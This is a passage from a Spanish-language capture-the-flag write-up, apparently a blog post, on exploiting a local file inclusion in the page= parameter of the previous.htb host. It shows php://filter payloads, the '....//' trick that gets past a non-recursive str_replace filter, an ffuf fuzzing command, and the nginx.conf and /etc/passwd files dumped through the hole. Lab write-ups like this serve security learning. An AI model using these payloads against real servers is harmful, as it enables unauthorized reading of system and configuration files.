&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11414&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/896adb3b-a31f-4d3d-a679-7063af09df73.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="lfi-en-page-con-phpfilter"&gt;LFI en &lt;code&gt;page=&lt;/code&gt; con &lt;code&gt;php://filter&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Vemos que en el endpoint principal hay un parámetro modificable &lt;code&gt;page=&lt;/code&gt;. El comportamiento sugiere LFI usando &lt;code&gt;php://filter/read=convert.base64-encode/resource=...&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/41fedc4e-e723-4e3c-9a48-5daab50fb187.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al leer &lt;code&gt;default.html&lt;/code&gt; en Base64, simplemente decodificando obtenemos el contenido en texto claro.&lt;/p&gt;
&lt;p&gt;Hay un filtro que intenta evitar el típico &lt;code&gt;../..&lt;/code&gt;, pero se puede bypassear con doble barra &lt;code&gt;..//..&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8028-ab09-c2cad89be2f7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="intento-de-log-poisoning-no-viable"&gt;Intento de Log Poisoning (no viable)&lt;/h3&gt;
&lt;p&gt;Probamos log poisoning leyendo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=/var/log/nginx/access.log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=/var/log/nginx/error.log&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pero no funciona, porque la función no interpreta PHP, solo devuelve el archivo literalmente.&lt;/p&gt;
&lt;h3 id="bypass-del-filtro-por-str_replace-no-recursivo"&gt;Bypass del filtro (por &lt;code&gt;str_replace&lt;/code&gt; no recursivo)&lt;/h3&gt;
&lt;p&gt;Aquí está el problema.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800d-959a-e3ef61bf7f35.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Esto busca la cadena &lt;code&gt;../&lt;/code&gt; y la elimina.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La vulnerabilidad:&lt;/strong&gt; &lt;code&gt;str_replace&lt;/code&gt; &lt;strong&gt;no es recursivo&lt;/strong&gt;. Solo lo hace una vez.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El bypass:&lt;/strong&gt; si se envía &lt;code&gt;....//&lt;/code&gt;, el sistema elimina los dos caracteres del medio (&lt;code&gt;../&lt;/code&gt;) y une los extremos, creando un nuevo &lt;code&gt;../&lt;/code&gt; que el sistema ya no revisa.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80a1-8f69-c789533b4854.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="archivos-interesantes-vía-lfi"&gt;Archivos interesantes vía LFI&lt;/h3&gt;
&lt;p&gt;Con el LFI ya podemos extraer rutas/configuraciones. Por ejemplo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nginx.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user www-data;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;worker_processes auto;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pid /run/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nginx.pid
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;include /etc/nginx/modules-enabled/*.conf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;events {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; worker_connections &lt;span style="color:#ae81ff"&gt;768&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sendfile on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tcp_nopush on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; types_hash_max_size &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_tokens off;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_names_hash_bucket_size &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_name_in_redirect off;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/mime.types;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; default_type application/octet-stream;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; access_log /var/log/nginx/access.log;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; error_log /var/log/nginx/error.log;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gzip on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/conf.d/*.conf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/sites-enabled/*;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y también &lt;code&gt;/etc/passwd&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daemon&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;daemon&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sys&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sys&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/sync
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/cache/man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;lp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/lpd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;proxy&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;proxy&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;www-data&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;www-data&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/www&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;backup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;backup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/backups&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;list&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Mailing List Manager&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/list&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;irc&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ircd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/ircd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gnats&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Gnats Bug-Reporting System (admin)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/lib/gnats&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nobody&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;nobody&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_apt&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;::/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-timesync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Time Synchronization,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-network&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;102&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;103&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Network Management,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-resolve&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;103&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Resolver,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;messagebus&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;105&lt;/span&gt;::/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_chrony&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;105&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;112&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Chrony daemon,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/lib/chrony&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sshd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;106&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;::/run/sshd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vagrant&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;::/vagrant&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-coredump&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;999&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;999&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Core Dumper&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;::/home/dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Users: www-data, vagrant&lt;/p&gt;
&lt;h3 id="rfi-no-viable"&gt;RFI (no viable)&lt;/h3&gt;
&lt;p&gt;Probamos con un RFI, pero no ejecuta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8059-ae39-ffc376588543.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fuzzing-de-archivos-sensibles"&gt;Fuzzing de archivos sensibles&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//previous.htb/index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=php&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#66d9ef"&gt;filter&lt;/span&gt;/read=convert.base64-encode/resource=..//..//..//..//..//FUZZ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -fs &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fetc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
